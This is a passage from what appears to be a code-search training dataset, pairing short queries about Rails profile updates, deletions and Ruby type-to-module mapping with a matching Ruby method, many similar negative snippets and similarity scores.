"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n #@profile = UsersDisciplines.find(params[:id])\n @profile = Profile.find_by_user_id(current_user.id)\n \n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to users_profile_index_path, notice: t(:profile_successfully_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @climber_profile.update(climber_profile_params)\n format.html { redirect_to @climber_profile, notice: 'Climber profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @climber_profile }\n else\n format.html { render :edit }\n format.json { render json: @climber_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n new_properties = params[:d]\n profile = Profile[params[:id]]\n profile.update_with(new_properties)\n\n respond_with(profile) do |format|\n format.json { render json: profile.stripped }\n end\n end",
"def update\n @profiles = current_user.profiles.find(params[:id])\n\n respond_to do |format|\n if @profiles.update(profile_params)\n format.html { redirect_to profiles_path, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profiles }\n else\n format.html { render :edit }\n format.json { render json: @profiles.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_clinic_profile\n @clinic_profile = ClinicProfile.find(params[:id])\n end",
"def update\n # FIXME There's probably a better way to manage STI.\n profile_params = (@profile.type == DeveloperProfile.to_s ? params[:developer_profile] : params[:contractor_profile])\n profile_params[:project_type_ids] ||= []\n\n respond_to do |format|\n if @profile.update_attributes(profile_params)\n format.html { redirect_to(profile_path(@profile), :notice => 'Profile was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @security_profile.user_updated_id = current_user.id\n respond_to do |format|\n if @security_profile.update(security_profile_params)\n format.html { redirect_to security_profiles_path, notice: I18n.t('profiles.controller.update') }\n format.json { render :show, status: :ok, location: @security_profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @surgical_profile.preprocess_and_update(surgical_profile_params)\n format.html { redirect_to patient_surgical_profile_path(@patient, @surgical_profile),\n notice: 'Surgical profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @surgical_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @personal_profile.update(personal_profile_params)\n format.html { redirect_to resume_path, notice: 'Your Personal profile was successfully updated.' }\n format.json { render :show, status: :ok, location: resume_path }\n else\n format.html { render :edit }\n format.json { render json: @personal_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n\t\t@user = current_user\n\t\t@profile = @user.profile\n\t\t@profile.update_columns(profile_params)\n\t\trespond_with @profile \n\tend",
"def update\n @profile = Profile.find(params[:id])\n logger.debug(\"UPDATE PROFILE @profile = #{@profile.inspect}\")\n logger.debug(\"UPDATE PROFILE params = #{params[:profile].inspect}\")\n logger.debug(\"UPDATE PROFILE update_attributes #{@profile.update_attributes(params[:profile]).inspect}\")\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client_profile.update(client_profile_params)\n format.json { render :show, status: :ok, location: @client_profile }\n else\n format.json { render json: @client_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile.update(profile_params)\n respond_with(@profile)\n end",
"def update\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to edit_profile_path(current_user.profile), notice: t('controller.profiles.update.success') }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile = @user.profile\n @profile.update_attributes(params[:profile])\n if params[\"starting\"] == \"pending\"\n @profile.started_on = nil\n @profile.target_completion_date = nil\n end\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to user_profile_path, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile = current_user.profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, :notice => 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @profile = Profile.find(current_user.id)\n @profile.update_attributes(params[:profile])\n respond_with @profile\n end",
"def update\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to vanity_profile_path(:id => @profile.user.name), notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clinician = Clinician.find(params[:id])\n\n respond_to do |format|\n if @clinician.update_attributes(params[:clinician])\n format.html { redirect_to @clinician, notice: 'Clinician was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinician.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @client_profile\n respond_to do |format|\n if @client_profile.update(client_profile_params)\n format.html { redirect_to @client_profile, notice: 'Client profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_profile }\n else\n format.html { render :edit }\n format.json { render json: @client_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if user_signed_in?\n if @profile.update(profile_params)\n render json: @profile, status: :ok\n else\n render json: @profile.errors, status: :unprocessable_entity\n end\n end\n end",
"def update\n respond_to do |format|\n if @contract_profile.update(contract_profile_params)\n format.html { redirect_to @contract_profile, notice: 'Contract profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_profile }\n else\n format.html { render :edit }\n format.json { render json: @contract_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n Rails.logger.info(\"PARAMS: #{profile_params}\")\n if @profile.update(profile_params)\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile = current_user.profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to (user_profile_path(current_user)), notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_profile(body={})\n perform_post(\"/account/update_profile.json\", :body => body)\nend"
] | [
"0.6705261",
"0.6664943",
"0.66492176",
"0.6626116",
"0.6537976",
"0.6451804",
"0.64338285",
"0.6417751",
"0.6395556",
"0.63747644",
"0.6363147",
"0.6353765",
"0.6308682",
"0.6306573",
"0.63018376",
"0.6293812",
"0.6293812",
"0.6293812",
"0.62746686",
"0.62616307",
"0.6257732",
"0.62324303",
"0.62282676",
"0.6225027",
"0.6222439",
"0.6216898",
"0.6186326",
"0.61845905",
"0.61695445",
"0.61664873"
] | 0.7488682 | 0 |
DELETE /clinic_profiles/1 DELETE /clinic_profiles/1.json | def destroy
@clinic_profile.destroy
respond_to do |format|
format.html { redirect_to clinic_profiles_url, notice: 'Clinic profile was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client_profile.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @climber_profile.destroy\n respond_to do |format|\n format.html { redirect_to climber_profiles_url, notice: 'Climber profile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @client_profile\n \n @client_profile.destroy\n respond_to do |format|\n format.html { redirect_to client_profiles_url, notice: 'Client profile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @travel_agent_profile = TravelAgentProfile.find(params[:id])\n @travel_agent_profile.destroy\n\n respond_to do |format|\n format.html { redirect_to travel_agent_profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @surgical_profile.destroy\n respond_to do |format|\n format.html { redirect_to patient_surgical_profiles_path(@patient) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_profile = UserProfile.find(params[:id])\n @user_profile.destroy\n\n respond_to do |format|\n format.html { redirect_to user_profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_profile = UserProfile.find(params[:id])\n @user_profile.destroy\n\n respond_to do |format|\n format.html { redirect_to user_profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = current_user.profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to profiles_path, :notice => \"profile was successfully delete.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n # Delete profile\n @profil.destroy\n respond_to do |format|\n format.html { redirect_to profils_url, notice: 'Profil was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal_profile.destroy\n respond_to do |format|\n format.html { redirect_to resume_path, notice: 'Personal profile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile.destroy\n respond_to do |format|\n format.html { redirect_to profiles_url, :notice => t('alerts.profiles.destroy') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @proficiency = Proficiency.find(params[:id])\n @proficiency.destroy\n\n respond_to do |format|\n format.html { redirect_to proficiencies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile.destroy\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile.destroy\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile.destroy\n respond_to do |format|\n format.html { redirect_to profiles_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.71567816",
"0.692338",
"0.691823",
"0.683862",
"0.6795145",
"0.67800283",
"0.67747486",
"0.67684346",
"0.67684346",
"0.67684346",
"0.6746574",
"0.6746574",
"0.6746574",
"0.6746574",
"0.6746574",
"0.6746574",
"0.6746574",
"0.6746574",
"0.67388755",
"0.67388755",
"0.6733766",
"0.6729981",
"0.6726898",
"0.67248195",
"0.6722792",
"0.6721906",
"0.6721137",
"0.6720506",
"0.6719292",
"0.6719292"
] | 0.768103 | 0 |
create method that greets the user by email if no name is given but if a name and a place are given please greet him by name and include a comment about his place of living is really nice | def greet_user email, options={}
if options.empty?
puts "Hello #{email} welcome to my awesome application"
else
puts "Hello #{options[:name]}, how're you?"
puts "I hear that #{options[:place]} is a beautiful place to live!"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def excited_greet(name)\nend",
"def greet_user\n greetings = %w[\n bonjour hola hallo sveiki namaste shalom salaam szia halo ciao\n ]\n first_name = message.from.nil? ? '' : ', ' + message.from.first_name\n send_message \"#{greetings.sample.capitalize}#{first_name}!\\n Enter /help for options.\"\n end",
"def greets(name)\n puts \"hello #{name}, my name is #{@greeter_name}\"\n end",
"def greet(name,owner)\n name == owner ? 'Hello boss' : 'Hello guest'\nend",
"def greet(name,owner)\n name == owner ? 'Hello boss' : 'Hello guest'\nend",
"def greet(name)\nend",
"def greet\n puts '------------------------'\n puts \"Greetings to you #{@name}\"\n end",
"def greeter(name)\n #some code here\nend",
"def greet(personname)\n if personname != \"\"\n puts \"Hello, #{personname}!\"\n else\n puts \"Hello, World!\"\n end\nend",
"def greetings\n if @awake\n \"Hi, my name is #{full_name}\"\n else\n 'ZZZzzzZZZzzz'\n end\n end",
"def contact()\n\t\t\"Please contact #{full_name()} via #{email}\"\n\tend",
"def greet(name,owner)\n return \"Hello boss\" if name.eql? owner\n return \"Hello guest\" \nend",
"def welcome(greet, name, punct=\"!\")\n greet + ' ' + name + punct\nend",
"def greet(name)\n puts \"hi #{name}!\"\n if name == \"nico\" || name == \"nicolas\"\n puts \"that's a great name \\n\"\n end\nend",
"def contactUs(name, email, phone, question, contact_pref)\n @contact_pref = contact_pref\n @name = name\n @email = email\n @phone = phone\n @question = question\n @greeting = @name + \" \" + \"Has a question!\"\n @subject = \"User Question\"\n\n mail to: \"bubba99207@gmail.com\", subject: @subject\n end",
"def invite_friends(name, email)\n\n @name = name\n @email = email\n to = \"#{@name} <#{@email}>\"\n from = ['do-not-reply@salayhin.wordpress.com']\n\n mail :to => to, :subject => 'Invitation to join', :from => from do |format|\n format.html\n end\n\n end",
"def greeting\n\t\t#make a greeting for both student and teacher\n\t\tputs \"Hi, my name is #{@name}!\"\n\tend",
"def greet\n\t\tputs \"Hi, my name is #{@name}\"\n\tend",
"def welcome(owner)\n @greeting = \"Hi\"\n @first_name = owner[:first_name]\n email=owner[:email]\n # mail to: email, subject: 'Welcome to Where My Dogs At?'\n mail to: email\n end",
"def email_me(name, email, message)\n @greeting = \"Hi, I'm #{name}\"\n @message = message\n @email = email\n\n mail to: \"felipe.tuyama@redealumni.com\", subject: \"Porfolio email from #{name}\"\n end",
"def greeting \n\t\t\"Hi my name is #{@name}\"\n\tend",
"def follow_up_alert(email, name, body, body_part2, location_link)\n @name = name \n @body = body\n @body_part2 = body_part2\n @location_link = location_link\n\n mail to: email, subject: \"Follow-up info from Grapevine\", from: \"erik@pickgrapevine.com\", reply_to: \n \"erik@pickgrapevine.com\"\n\n end",
"def thanks(email, name)\n @name = name\n @email = email\n mail to: email, subject: \"Uva Guayacanes\"\n end",
"def sayhello(name, last_name='Rojas')#al hacer parametro=______ es un parametro por defecto, si no se especifica luego linea 6, me lo auto completa\n horoscope = 'capricornio'\n \"Hola #{name.capitalize} #{last_name.capitalize}. Pura Vida! #{horoscope}\" #notar que las interpolaciones estan separadas!!\nend",
"def welcome(user)\n #def welcome(email)\n @appname = \"Birdy's golf store\"\n mail( :to => user.email,\n #mail( :to => email,\n :subject => \"Welcome to #{@appname}!\")\n end",
"def greeting(who = nil)\n if who\n \"Hello, #{who}!\"\n else\n \"Hello!\"\n end\nend",
"def order_placed(name, email)\n @name = name\n @email = email\n mail( :to => email,\n :subject => \"Your Order from Oasis Books\")\n end",
"def welcome(greeting, options={})\n name = options[:name] || 'friend'\n punct = options[:punctuation] || '!'\n greeting + ' ' + name + punct\nend",
"def send_signup_email(name, email, body)\n \t\t@name = name\n\t\t@email = email\n\t\t@body = body\n\n \t\tmail( :to => email,\n \t\t :subject => 'Thanks for signing up for our amazing app' )\n \tend",
"def greeting_user(name)\n name.include?('!') ? puts(\"HELLO #{name.chop.upcase}. WHY ARE WE SCREAMING?\") : puts(\"Hello #{name.capitalize}\")\nend"
] | [
"0.668982",
"0.66854846",
"0.6601451",
"0.65042263",
"0.65042263",
"0.6496351",
"0.64630604",
"0.64468086",
"0.6430629",
"0.6409368",
"0.6407438",
"0.63978297",
"0.638867",
"0.63459665",
"0.63282025",
"0.63086766",
"0.6296397",
"0.6255086",
"0.62533736",
"0.62370986",
"0.61927277",
"0.6190281",
"0.6186627",
"0.6176814",
"0.61728936",
"0.61711234",
"0.6140001",
"0.613797",
"0.61362296",
"0.61210984"
] | 0.6927978 | 0 |
DELETE /unit_planners/1 DELETE /unit_planners/1.xml | def destroy
@unit_planner = UnitPlanner.find(params[:id])
@unit_planner.destroy
respond_to do |format|
format.html { redirect_to(unit_planners_url) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @test_plan = TestPlan.find(params[:id])\n @test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_plans_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @test_plant = TestPlant.find(params[:id])\n @test_plant.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_plants_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @plantilla = Plantilla.find(params[:id])\n @plantilla.destroy\n\n respond_to do |format|\n format.html { redirect_to(plantillas_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @gruppi_banner = GruppiBanner.find(params[:id])\n @gruppi_banner.destroy\n\n respond_to do |format|\n format.html { redirect_to(gruppi_banners_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sampleunit = Sampleunit.find(params[:id])\n @sampleunit.destroy\n\n respond_to do |format|\n format.html { redirect_to(sampleunits_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vendor_test_plan = VendorTestPlan.find(params[:id])\n @vendor_test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(vendor_test_plans_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ru_pusk = RuPusk.find(params[:id])\n @ru_pusk.destroy\n\n respond_to do |format|\n format.html { redirect_to(ru_pusks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end",
"def destroy\n @colonoscopytest = Colonoscopytest.find(params[:id])\n @colonoscopytest.destroy\n\n respond_to do |format|\n format.html { redirect_to(colonoscopytests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @socialize_plan = SocializePlan.find(params[:id])\n @socialize_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(socialize_plans_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @physical_unit = Probe::PhysicalUnit.find(params[:id])\n @physical_unit.destroy\n\n respond_to do |format|\n format.html { redirect_to(physical_units_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @plan.destroy\n\n head :no_content\n end",
"def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(plans_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @upload_file = UploadFile.find(params[:id])\n doc_no=@upload_file.doc_no\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to upload_files_url(:doc_no=>doc_no) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @t1 = T1.find(params[:id])\n @t1.destroy\n\n respond_to do |format|\n format.html { redirect_to(t1s_url) }\n format.xml { head :ok }\n end\n end",
"def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend",
"def destroy\n @lesson_plan = LessonPlan.find(params[:id])\n @lesson_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(lesson_plans_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @feefile = Feefile.find(params[:id])\n directory= \"uploads\"\n path =File.join(directory,@feefile.feefilename)\n File.delete(path)\n @feefile.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(feefiles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tm_dev1 = TmDev1.find(params[:id])\n @tm_dev1.destroy\n\n respond_to do |format|\n format.html { redirect_to(tm_dev1s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @test_suite = TestSuite.find(params[:id])\n @test_suite.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_suites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @planpago = Planpago.find(params[:id])\n @planpago.destroy\n\n respond_to do |format|\n format.html { redirect_to(planpagos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @deposit_threshold = DepositThreshold.find(params[:id])\n @deposit_threshold.destroy\n\n respond_to do |format|\n format.html { redirect_to(deposit_thresholds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @businessunit = Businessunit.find(params[:id])\n @businessunit.destroy\n\n respond_to do |format|\n format.html { redirect_to(businessunits_url) }\n format.xml { head :ok }\n end\n end"
] | [
"0.67963845",
"0.67111415",
"0.6697815",
"0.6634309",
"0.6584041",
"0.6575206",
"0.65175664",
"0.64917547",
"0.6479442",
"0.64739686",
"0.6386767",
"0.6383358",
"0.6380345",
"0.6376298",
"0.6348889",
"0.63025683",
"0.62947524",
"0.62651",
"0.6256336",
"0.6254497",
"0.6251666",
"0.6251628",
"0.6248803",
"0.62429994",
"0.6230754",
"0.6224507",
"0.62111586",
"0.6206945",
"0.6205946",
"0.6205143"
] | 0.6754743 | 1 |
Register a bidirectional mapping between a type and an implementation | def register_implementation(type, impl_module, _ = nil)
type = type.name if type.is_a?(PAnyType)
impl_module = impl_module.name if impl_module.is_a?(Module)
@type_names_per_implementation[impl_module] = type
@implementations_per_type_name[type] = impl_module
nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def register(mime, klass, orm = ORM_ACTIVERECORD)\n k = @map[mime]\n if k\n k[orm] = klass\n else\n @map[mime] = { orm => klass }\n end\n end",
"def register(type, cls); end",
"def add_mapper_for(type, &block)\n mappers[type] = block\n end",
"def polymorphic_mappings; end",
"def register(name, type)\n registry[name] = type\n end",
"def register_type_mapping(runtime_type, puppet_type_or_pattern, _ = nil)\n TypeAsserter.assert_assignable('First argument of type mapping', PRuntimeType::RUBY, runtime_type)\n expr = runtime_type.name_or_pattern\n if expr.is_a?(Array)\n TypeAsserter.assert_instance_of('Second argument of type mapping', TYPE_REGEXP_SUBST, puppet_type_or_pattern)\n register_implementation_regexp(puppet_type_or_pattern, expr)\n else\n TypeAsserter.assert_instance_of('Second argument of type mapping', PTypeType::DEFAULT, puppet_type_or_pattern)\n register_implementation(puppet_type_or_pattern, expr)\n end\n end",
"def register_mapper(klass)\n @mapper_classes << klass\n end",
"def register_mapper(klass)\n @mapper_classes << klass\n end",
"def register(klass, type)\n registry[type] = klass\n end",
"def register_type(type, klass, method_name, &block)\n end",
"def register(byte, type)\n MAPPINGS[byte] = type\n end",
"def register(entity, type)\n entities[entity] << symbolize(type)\n end",
"def register\n self.class.definitions[name] = self\n self\n end",
"def map name, &block\n mapped_name, mapped_class = name.first\n mappings[mapped_name] =\n HotCocoa::Mappings::Mapper.map_instances_of mapped_class, mapped_name, &block\n end",
"def define_mapping\n # no additional parameters\n nil\n end",
"def register_mapper(klass)\n boot.register_mapper(klass) if boot\n end",
"def define_mapping\n fail NotImplementedError, \" Error: the subclass #{self.class} needs \" \\\n \"to implement the method: define_mapping from its base class\".red\n end",
"def register_type(key, &block)\n raise_type_defined(key) if present?(key)\n types[key] = block\n end",
"def register_alias(type, shortcut); end",
"def register_adapter(type, adapter); end",
"def register(type_converter)\n types.push type_converter\n end",
"def type_map\n @type_map ||= TypeMap.new(adapter.class.type_map)\n end",
"def type_map\n @type_map ||= TypeMap.new(adapter.class.type_map)\n end",
"def register_for(id); end",
"def register_instance(as_type, instance)\n @@class_registry[as_type.to_sym] = { instance: instance }\nend",
"def register(object); end",
"def register type, cls\n @@processors[type] = cls\n end",
"def register_type(type, &block)\n register CastWhenType.new(type, &block)\n end",
"def map_type type\n type\n end",
"def map_type type\n type\n end"
] | [
"0.6325029",
"0.62472475",
"0.62318534",
"0.61825806",
"0.6108488",
"0.60576564",
"0.59825206",
"0.59825206",
"0.5973936",
"0.59549505",
"0.594782",
"0.5915379",
"0.5912589",
"0.587129",
"0.58648485",
"0.582462",
"0.57784957",
"0.5773743",
"0.5748107",
"0.57462806",
"0.5740262",
"0.571767",
"0.571767",
"0.57029235",
"0.5684973",
"0.5651177",
"0.55908394",
"0.55630875",
"0.5538895",
"0.5538895"
] | 0.6547851 | 0 |
Find the name for the module that corresponds to the given type or type name | def module_name_for_type(type)
type = type.name if type.is_a?(PAnyType)
name = @parent.module_name_for_type(type) unless @parent.nil?
name.nil? ? find_mapping(type, @implementations_per_type_name, @type_name_substitutions) : name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def type_name_with_module(type_name)\n self.name =~ /::/ ? self.name.scan(/(.*)::/).first.first + \"::\" + type_name : type_name\n end",
"def find_module_named name\n @modules_hash[name]\n end",
"def find_module_named(name)\n find_class_or_module(name)\n end",
"def type_from_module( object )\n\t\tif ( name = object.name )\n\t\t\tname = name.split( '::' ).collect do |part|\n\t\t\t\tpart.gsub( SNAKE_CASE_SEPARATOR ) do |m|\n\t\t\t\t\t\"%s_%s\" % [ m[0], m[1] ]\n\t\t\t\tend\n\t\t\tend.join( '.' )\n\n\t\t\treturn name.downcase\n\t\telse\n\t\t\treturn \"anonymous_%s_%d\" % [ object.class.name.downcase, object.object_id ]\n\t\tend\n\tend",
"def get_module_name( className )\n\t\tif className =~ /\\w+#{self.factory_type}/\n\t\t\tmod_name = className.sub( /(?:.*::)?(\\w+)(?:#{self.factory_type})/, \"\\\\1\" )\n\t\telse\n\t\t\tmod_name = className\n\t\tend\n\n\t\treturn mod_name\n\tend",
